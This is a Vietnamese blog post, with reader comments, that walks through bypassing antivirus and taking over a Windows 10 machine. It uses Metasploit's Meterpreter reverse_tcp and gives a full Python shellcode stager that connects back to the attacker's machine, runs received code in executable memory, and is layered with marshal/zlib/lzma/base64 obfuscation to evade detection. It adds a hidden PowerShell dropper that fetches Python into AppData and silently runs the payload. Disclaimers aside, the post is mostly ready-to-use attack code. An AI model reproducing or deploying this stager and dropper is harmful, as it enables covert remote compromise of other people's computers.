An ninh mạng đóng vai trò quan trọng trong thế giới công nghệ ngày nay. Việc kiểm tra và nâng cao độ bảo mật hệ thống là trách nhiệm của người quản trị hệ thống và chuyên gia an ninh. Tuy nhiên, việc vượt qua phần mềm chống virus ( Bypass AntiVirus ) đã trở thành một phần không thể thiếu trong quá trình kiểm tra và đánh giá an ninh. Trong bài viết này, mình sẽ chia sẻ với bạn về kinh nghiệm thành công của mình trong việc Bypass AV và xâm nhập vào một máy tính chạy hệ điều hành Windows 10 bằng cách sử dụng Metasploit và Python. Đây là một quá trình thử thách và mang lại sự hiểu biết sâu hơn về phần mềm chống vi-rút và phát hiện các lỗ hổng trong hệ thống. Sau vài ngày mình tìm tòi về payload windows/meterpreter/reverse_tcp của Metasploit. mình đã viết ra 1 đoạn Script Python nhỏ cho payload này và cuối cùng thực hiện việc xâm nhập vào máy tính mục tiêu với đoạn script đó. Hãy cùng mình khám phá và tìm hiểu quá trình bypass AV và xâm nhập vào Windows 10 bằng cách sử dụng Metasploit và Python trong bài viết này nhé !
Tham gia kênh Telegram của AnonyViet 👉 Link 👈 |
Lưu ý: Bài viết không khuyến khích việc sử dụng kỹ thuật này cho bất kỳ hoạt động bất hợp pháp hoặc gây hại cho người khác. Anonyviet hy vọng rằng thông qua việc chia sẻ kiến thức này, bạn có thể nâng cao hiểu biết về an ninh mạng và áp dụng các biện pháp bảo vệ để bảo vệ hệ thống của mình. Mọi hành vi bất hợp pháp Anonyviet sẽ không chịu mọi trách nhiệm !
Khái niệm sơ qua về Metasploit
Metasploit là một framework mã nguồn mở rất phổ biến trong lĩnh vực kiểm thử xâm nhập và khai thác lỗ hổng. Nó được sử dụng để tạo ra một môi trường điều kiện nhân tạo để phân tích các lỗ hổng bảo mật, giúp các chuyên gia bảo mật tìm ra các điểm yếu trong hệ thống mạng và ứng dụng của họ. Metasploit cung cấp rất nhiều công cụ và tài nguyên để tấn công và khai thác các lỗ hổng trong hệ thống, giúp chuyên gia bảo mật kiểm tra và tăng cường tính bảo mật của mạng và ứng dụng. Metasploit được phát triển bởi Rapid7 và sử dụng ngôn ngữ lập trình Ruby, với giao diện dòng lệnh và đồ họa để người dùng dễ dàng sử dụng. Nó cho phép người dùng tự động hóa quá trình kiểm thử và tìm ra các lỗ hổng, tăng cường hiệu suất và tiết kiệm thời gian. Metasploit cung cấp nhiều tính năng như scan port, tìm kiếm lỗ hổng, khai thác, tràn bộ đệm, thu thập thông tin, tạo mã độc,…. Nó cũng cung cấp một cơ sở dữ liệu lỗ hổng rộng lớn, cho phép người dùng tìm kiếm và khai thác các lỗ hổng đã được biết đến. Không những thế nó còn là một công cụ được sử dụng để kiểm tra và củng cố tính bảo mật của hệ thống từ đó cung cấp một môi trường an toàn hơn cho các hệ thống mạng và ứng dụng
Meterpreter Reverse TCP trong Metasploit là gì ?
Meterpreter Reverse TCP là một loại kết nối ngược (reverse connection) được sử dụng trong Metasploit Framework để tạo một secure channel ( kênh truyền thông an toàn ) giữa máy tấn công và máy mục tiêu.
Khi sử dụng Meterpreter Reverse TCP, máy hacker đóng vai trò là máy chủ lắng nghe (listener), trong khi máy nạn nhân là máy khách (client). Quá trình hoạt động diễn ra như sau:
- Máy hacker khởi động một cổng TCP cụ thể ( listener )
- Máy nạn nhân lây nhiễm bởi một payload (chương trình độc hại) thông qua một phương thức tấn công, ví dụ như download phần mềm độc hại, hoặc xâm nhập qua email,…
- Payload được thiết lập trên máy mục tiêu và kết nối ngược (reverse connection) được thiết lập từ máy nạn nhân đến máy hacker thông qua giao thức TCP.
- Khi kết nối được thiết lập, Meterpreter là một công cụ quản lý tấn công mạnh mẽ trong Metasploit, được chạy trên máy nạn nhân và giao tiếp với máy hacker thông qua secure channel đã thiết lập
Meterpreter Reverse TCP cung cấp nhiều tính năng mạnh mẽ cho hacker, bao gồm khả năng kiểm soát từ xa máy nạn nhân, thực thi các lệnh trên hệ thống của nạn nhân, truy cập vào các tệp và thư mục, thu thập thông tin quan trọng và thậm chí thâm nhập sâu vào hệ thống
Tạo payload Meterpreter Reverse TCP trong Metasploit với Python
Chi tiết cấu trúc payload:
- Kết nối đến máy hacker thông qua socket TCP/IP.
- Nhận dữ liệu từ kết nối và giải nén các thông tin cần thiết.
- Sử dụng thư viện ctypes trong Python để cấp phát bộ nhớ và sao chép mã máy thấp vào bộ nhớ.
- Tạo một luồng riêng biệt để thực thi mã máy thấp trong bộ nhớ.
- Dừng chương trình chính để duy trì quyền điều khiển từ xa
Đoạn code Python này bắt đầu bằng việc import các thư viện cần thiết để làm việc với socket, struct, time, threading và ctypes
import socket import struct import time import threading import ctypes
Biến ip
định nghĩa địa chỉ IP mà máy tính đang chạy chương trình sẽ kết nối đến. Biến port
chỉ định số cổng để kết nối tới hacker
ip = "<ip>" # địa chỉ ip hacker port = <port> # số cổng hacker đã mở bên Metasploit
Khởi tạo biến connected
để theo dõi trạng thái kết nối và sử dụng vòng lặp while để thử kết nối với máy hacker cho đến khi thành công. Trong vòng lặp while này, một socket được tạo và cố gắng kết nối đến địa chỉ IP và cổng của hacker. Nếu kết nối thành công, biến connected
được đặt thành True và vòng lặp dừng lại. Nếu xảy ra lỗi TimeoutError, payload sẽ chờ 0.1 giây rồi kết nối lại
connected = False while not connected: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) connected = True except TimeoutError: time.sleep(0.1)
Nhận dữ liệu đầu tiên từ socket. Dòng code bên dưới sử dụng phương thức recv()
của socket để nhận 4 byte dữ liệu đầu tiên từ kết nối
data = s.recv(4)
Giải nén độ dài dữ liệu từ dữ liệu nhận được. Dòng code bên dưới sử dụng hàm unpack()
từ module struct
để giải nén 4 byte đầu tiên của dữ liệu thành một số nguyên không dấu 32 bit (unsigned integer) được đóng gói theo định dạng little-endian. Sau đó, giá trị này được cộng với 5 và gán cho biến data_len
. Việc cộng 5 đến data_len
là do dữ liệu sau khi giải nén bao gồm cả 4 byte đầu tiên nhưng cần phải chứa thêm 5 byte
data_len = struct.unpack("<I", data)[0] + 5
Tiếp tục nhận dữ liệu từ socket cho đến khi đủ độ dài đã giải nén. Vòng lặp này sử dụng phương thức recv()
để nhận dữ liệu từ socket cho đến khi tổng chiều dài của dữ liệu đã nhận được bằng với data_len
while len(data) < data_len: data += s.recv(data_len - len(data))
Đóng gói handle của socket và dữ liệu đã nhận vào một bytearray mới. Với dòng code này sử dụng hàm pack()
từ module struct
để đóng gói số hiệu file (file descriptor) của socket (s.fileno()
) thành một bytearray handle
. Sau đó, các bytearray khác được tạo ra bằng cách ghép nối bytearray [0xBF]
một bytearray chứa một phần tử duy nhất là giá trị 0xBF (191 trong hệ thập phân), bytearray(handle)
chuyển đổi biến handle
từ kiểu dữ liệu được đóng gói thành một bytearray mới.data[4:]
truy cập vào phần dữ liệu đã nhận từ socket, bắt đầu từ byte thứ 4 (bỏ qua 4 byte đầu tiên). Toàn bộ các bytearray được ghép nối với nhau bằng phép cộng (+
) để tạo ra bytearray data
mới
handle = struct.pack("<I", s.fileno()) data = bytearray([0xBF]) + bytearray(handle) + data[4:]
Hai hằng số MEM_COMMIT
và PAGE_EXECUTE_READWRITE
được định nghĩa để sử dụng trong việc cấp phát bộ nhớ và thiết lập quyền truy cập bộ nhớ. MEM_COMMIT
là một hằng số được đặt giá trị là 0x1000
, biểu thị chế độ cấp phát bộ nhớ trong hàm VirtualAlloc()
.Giá trị 0x1000
tương ứng với cấp phát vùng nhớ mới và cấu hình quyền truy cập vào vùng nhớ đó. PAGE_EXECUTE_READWRITE
là một hằng số có giá trị là 0x40
, biểu thị quyền truy cập vào vùng nhớ trong hàm VirtualAlloc()
. Giá trị 0x40
đại diện cho quyền truy cập đọc, ghi và thực thi (execute) cho vùng nhớ đó. Bằng cách sử dụng PAGE_EXECUTE_READWRITE
, mình cho phép vùng nhớ được cấp phát có thể chứa mã thực thi và có thể đọc và ghi dữ liệu
MEM_COMMIT = 0x1000 PAGE_EXECUTE_READWRITE = 0x40
Sử dụng thư viện kernel32
từ ctypes
để cấp phát và sao chép dữ liệu vào bộ nhớ. Dòng code bên dưới sử dụng hàm VirtualAlloc()
của thư viện kernel32
để cấp phát một khối bộ nhớ có kích thước là len(data)
. Khối bộ nhớ này sẽ được cấp phát với quyền truy cập PAGE_EXECUTE_READWRITE
. Sau đó, dữ liệu từ data
được sao chép vào địa chỉ bộ nhớ được cấp phát bằng cách sử dụng ctypes.memmove()
. Các dòng code mà mình đã đề cập có liên quan đến việc sử dụng Windows API thông qua ctypes để cấp phát và sao chép dữ liệu vào vùng nhớ được cấp phát. Cụ thể như sau:
kernel32 = ctypes.windll.kernel32
:- Dòng này tạo một đối tượng
kernel32
để truy cập các hàm của Windows API trong thư viện kernel32.dll. ctypes.windll
là một cách để truy cập các thư viện được cung cấp bởi hệ điều hành Windows.
- Dòng này tạo một đối tượng
address = kernel32.VirtualAlloc(None, len(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
:kernel32.VirtualAlloc()
là một hàm trong Windows API để cấp phát vùng nhớ ảo.- Dòng mã trên gọi hàm
VirtualAlloc()
để cấp phát một vùng nhớ ảo mới. None
đại diện cho địa chỉ cơ sở (base address) của vùng nhớ ảo (do không xác định trước).len(data)
xác định kích thước (số byte) của vùng nhớ cần cấp phát, dựa trên kích thước củadata
.MEM_COMMIT
là hằng số đã được định nghĩa trước, biểu thị chế độ cấp phát bộ nhớ.PAGE_EXECUTE_READWRITE
cũng là hằng số đã được định nghĩa trước, biểu thị quyền truy cập vào vùng nhớ.
data_array = (ctypes.c_char * len(data)).from_buffer(data)
:- Dòng mã này tạo một mảng
data_array
với kiểu dữ liệuctypes.c_char
và kích thước làlen(data)
. ctypes.c_char
đại diện cho một ký tự (byte) trong ctypes..from_buffer(data)
tạo một view (chế độ xem) của mảngdata
đã được nhận trước đó, nghĩa là mảngdata_array
sẽ trỏ đến vùng nhớ củadata
để sử dụng chung dữ liệu.
- Dòng mã này tạo một mảng
ctypes.memmove(address, ctypes.pointer(data_array), len(data))
:ctypes.memmove()
là một hàm trong ctypes để sao chép dữ liệu từ một vùng nhớ đến một vùng nhớ khác.- Dòng mã trên sao chép nội dung của
data_array
vào vùng nhớ được cấp phátaddress
. address
là địa chỉ cần sao chép dữ liệu đến.ctypes.pointer(data_array)
trả về con trỏ đến vùng nhớ củadata_array
.len(data)
xác định số byte cần sao chép
Nói chung là đoạn code bên dưới sử dụng Windows API thông qua ctypes để cấp phát một vùng nhớ ảo mới, tạo một mảng dữ liệu data_array
trỏ đến dữ liệu đã nhận từ socket, và sau đó sao chép dữ liệu từ data_array
vào vùng nhớ đã được cấp phát. Quá trình này chuẩn bị cho việc thực thi mã thực thi từ vùng nhớ ảo đó
kernel32 = ctypes.windll.kernel32 address = kernel32.VirtualAlloc(None, len(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE) data_array = (ctypes.c_char * len(data)).from_buffer(data) ctypes.memmove(address, ctypes.pointer(data_array), len(data))
Với dòng code bên dưới, mình đã tạo một luồng mới bằng cách sử dụng module threading.Thread()
. Luồng này sẽ thực thi mã máy thấp tại địa chỉ bộ nhớ được cấp phát. Địa chỉ bộ nhớ này được truyền vào target
dưới dạng con trỏ hàm ctypes.CFUNCTYPE(None)
. Không có đối số được truyền vào luồng (args=()
)
thread = threading.Thread(target=ctypes.cast(address, ctypes.CFUNCTYPE(None)), args=()) thread.start()
Dòng code cuối cùng dùng để cho payload chạy trong 9999999 giây tức là khoảng 115 ngày, bạn có thể tăng thêm hoặc giảm thời gian tùy ý nhé
time.sleep(9999999)
Đây là toàn bộ mã nguồn mà mình đã tạo:
import socket import struct import time import threading import ctypes ip = "<ip>" # địa chỉ ip hacker port = <port> # số cổng hacker đã mở bên Metasploit connected = False while not connected: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) connected = True except TimeoutError: time.sleep(0.1) data = s.recv(4) data_len = struct.unpack("<I", data)[0] + 5 while len(data) < data_len: data += s.recv(data_len - len(data)) handle = struct.pack("<I", s.fileno()) data = bytearray([0xBF]) + bytearray(handle) + data[4:] MEM_COMMIT = 0x1000 PAGE_EXECUTE_READWRITE = 0x40 kernel32 = ctypes.windll.kernel32 address = kernel32.VirtualAlloc(None, len(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE) data_array = (ctypes.c_char * len(data)).from_buffer(data) ctypes.memmove(address, ctypes.pointer(data_array), len(data)) thread = threading.Thread(target=ctypes.cast(address, ctypes.CFUNCTYPE(None)), args=()) thread.start() time.sleep(9999999)
Bây giờ chúng ta sẽ đến phần tấn công Windows 10 với Metasploit và Python nhé
Tấn công Windows 10 với Metasploit và Python
Bây giờ, máy hacker có địa chỉ ip 192.168.1.3 và port tcp 9999, tiếp đến địa chỉ ip máy nạn nhân là 192.168.1.5, mình sẽ tiến hành setup trên Metasploit như sau:
Được rồi, giờ mình mã hóa script python với module marshal, zlib, lzma và base64 để tránh các phần mềm AntiVirus quét được, đoạn script python đã mã hóa có dạng như sau:
Sau khi mã hóa script python với module marshal, zlib, lzma và base64, mình lại mã hóa toàn bộ script với base64 tại website base64encode.org
Bấm vào “ENCODE” để bắt đầu mã hóa
Bấm vào “Copy to clipboard” để copy mã base64 lại nhé
Đây là đoạn lệnh Powershell mình đã viết sẵn, việc của bạn là chỉ cần paste toàn bộ script được mã hóa bằng base64. Bạn thay thế <your base64code payload>
thành mã base64 của bạn
powershell.exe -WindowStyle Hidden -Command "$code_payload='<your base64code payload>'; $bat1='@echo off'; $bat2='pythonRun module.py'; $cd_appdata=$Env:AppData; Set-Location -Path $cd_appdata; $current_cwd=Get-Location; if (Test-Path -Path 'pythonRun') { Set-Location -Path \"$current_cwd\pythonRun\"; $payload=$code_payload; $decoded=[System.Convert]::FromBase64String($payload); $bat1=$bat1; $bat2=$bat2; $bat1 + \"`r`n\" + $bat2 | Out-File -FilePath svc.bat -Encoding ascii; Set-Content -Path 'module.py' -Value ([System.Text.Encoding]::ASCII.GetString($decoded)); Start-Process -FilePath svc.bat -WindowStyle Hidden } else { Invoke-WebRequest -Uri 'https://www.python.org/ftp/python/3.10.9/python-3.10.9-embed-win32.zip' -OutFile pythonRun.zip; Expand-Archive -Path pythonRun.zip -DestinationPath pythonRun; Start-Sleep -Seconds 1; Rename-Item -Path \"$current_cwd\pythonRun\python.exe\" -NewName pythonRun.exe; Remove-Item -Path pythonRun.zip; Set-Location -Path \"$current_cwd\pythonRun\"; $payload=$code_payload; $decoded=[System.Convert]::FromBase64String($payload); $bat1=$bat1; $bat2=$bat2; $bat1 + \"`r`n\" + $bat2 | Out-File -FilePath svc.bat -Encoding ascii; Set-Content -Path 'module.py' -Value ([System.Text.Encoding]::ASCII.GetString($decoded)); Start-Process -FilePath svc.bat -WindowStyle Hidden }"
Đây là đoạn lệnh của mình, chỉ cần thực thi đoạn lệnh Powershell là nó tự động tải Python vào máy nạn nhân và thực thi đoạn script Python độc hại đã được mã hóa bằng base64
Và đây là kết quả
Như vậy, chưa đầy 50 dòng code Python cộng với 1 đoạn lệnh Powershell và công cụ Metasploit, mình đã có thể xâm nhập Windows 10 rồi. Mình muốn nhấn mạnh rằng việc tấn công máy tính của người khác là trái với đạo đức và pháp luật. Mình viết bài này chỉ để giúp người đọc hiểu thêm về cách thức hoạt động của các mã độc và cách phòng chống nó. Nếu bạn là một chuyên gia bảo mật, mình hy vọng rằng bài viết này sẽ giúp bạn nâng cao kiến thức và kỹ năng của mình trong việc sử dụng công cụ Metasploit để kiểm tra tính an toàn của hệ thống và bảo vệ chúng khỏi các cuộc tấn công từ phía tin tặc. Và nếu bạn là một người dùng bình thường, mình khuyên bạn luôn cập nhật các phần mềm bảo mật và hạn chế việc tải các phần mềm từ những nguồn không rõ nguồn gốc để bảo vệ tốt nhất cho hệ thống của mình.
Cuối cùng, mình muốn nhấn mạnh rằng việc sử dụng các công cụ Metasploit cũng như là các công cụ khác để xâm nhập vào hệ thống của người khác là trái với đạo đức và pháp luật. Chúng ta cần tôn trọng quyền riêng tư và bảo vệ an toàn thông tin của nhau nhé. Chúc bạn có một ngày tốt lành ! BYE BYE !!!!
Bạn cũng có thể đọc thêm bài viết Cách quét lỗ hổng bằng Metasploit
Mình vẫn chưa hiểu nếu cách này thì chỉ dùng cho cùng mạng LAn đúng không chứ từ xa qua ip tĩnh và port thì máy nạn nhân nó đầu tấn công được
tấn công từ xa thì bạn nat port
cho mình hỏi nếu chx thêm your base64code payload vào máy thì chạy không sao đúng không? Mình lỡ chạy nhma chưa thêm cái your base64code payload của mình vào
Đúng rồi bạn, chưa thêm base64 code máy chạy không sao đâu